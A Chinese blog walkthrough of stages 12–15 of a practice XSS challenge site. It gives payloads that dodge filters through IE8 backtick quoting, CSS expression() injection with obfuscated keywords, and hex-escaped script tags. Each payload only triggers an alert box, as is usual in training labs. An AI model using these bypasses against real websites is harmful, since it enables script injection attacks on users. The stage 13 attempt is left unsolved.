XSS challengs 12-15 通关记录

发布 : 2019-04-02

stage #12

1
<input type="text" name="p1" size="50" value="123">

输入"<script>alert("ss")</script>之后发现回显的结果中双引号和<>没有了,所以推测过滤了这两个符号,这里用到的知识是

在IE8中会把识别为双引号

所以设置windows自带浏览器兼容性设置,使用IE8打开这一关的网页,然后在搜索框中输入

1
`` onmousemove=alert(document.domain);

移动鼠标后出现弹窗,获得下一关的地址。

stage #13

1
<input type="text" name="p1" size="60" style="background-color:salmon" value="background-color:salmon">

发现里里面有个style样式,利用行内样式的动态属性进行xss

行内样式

我们同样可以在行内样式里利用IE浏览器支持的动态特性:

1
2
> <div style="color:expression(alert("sss"))">
>

过滤器会检查关键字style,随后跟随的不能是<,在随后是expression/style=[^<]*((ecpression\s*?[>]*?)|(behavior\s*:))[^<]*(?=\>)/Uis所以需要把<放到其他地方:

1
2
> <div style="color:'<';color:expression(alert("sss"))"> 
>

插入代码

1
xss:expression(onmousemove=function(){alert(document.domain)})

这个没搞出来

stage #14

安装上面一关的方法,在文本框中输入以下语句

1
aa:expression(onmouseover=function(){alert(document.domain)})

提交后

1
aa:xxx(onmouseover=function(){alert(document.domain)})

expression被处理成了xxx,推测有正则过滤

有四种方法来绕过过滤

  • e -> \0065
  • 加入\隔断
  • 加入\0隔断
  • 加入/**/隔断
1
2
3
4
aa:\0065 xpression(onmouseover=function(){alert(document.domain)})
aa:e\xpression(onmouseover=function(){alert(document.domain)})
aa:e\0xpression(onmouseover=function(){alert(document.domain)})
aa:e/**/xpression(onmouseover=function(){alert(document.domain)})

stage #15

1
<script>document.write("123");</script>

构造

1
11";</script><script>alert("sss")

提交后查看结果发现一些字符被转换了

1
2
3
4
5
6
7
8
<script>document.write("11&quot;;&lt;/script&gt;&lt;script&gt;alert(&quot;sss&quot;)");</script>

<变成了&lt;
>变成了&gt;
怎么绕过<>呢?
16进制编码:
< 变成了 \x3c
> 变成了 \x3e
1
2
\x3cscript\x3ealert(document.domain);\x3c/script\x3e #这个不行,应该是过滤了单个 \
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e #获得下一关地址

2013 XSS Challenges Stage 解题报告

本文作者 : W4rnIn9
原文链接 : http://joner11234.github.io/article/8b8fd3ef.html
版权声明 : 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!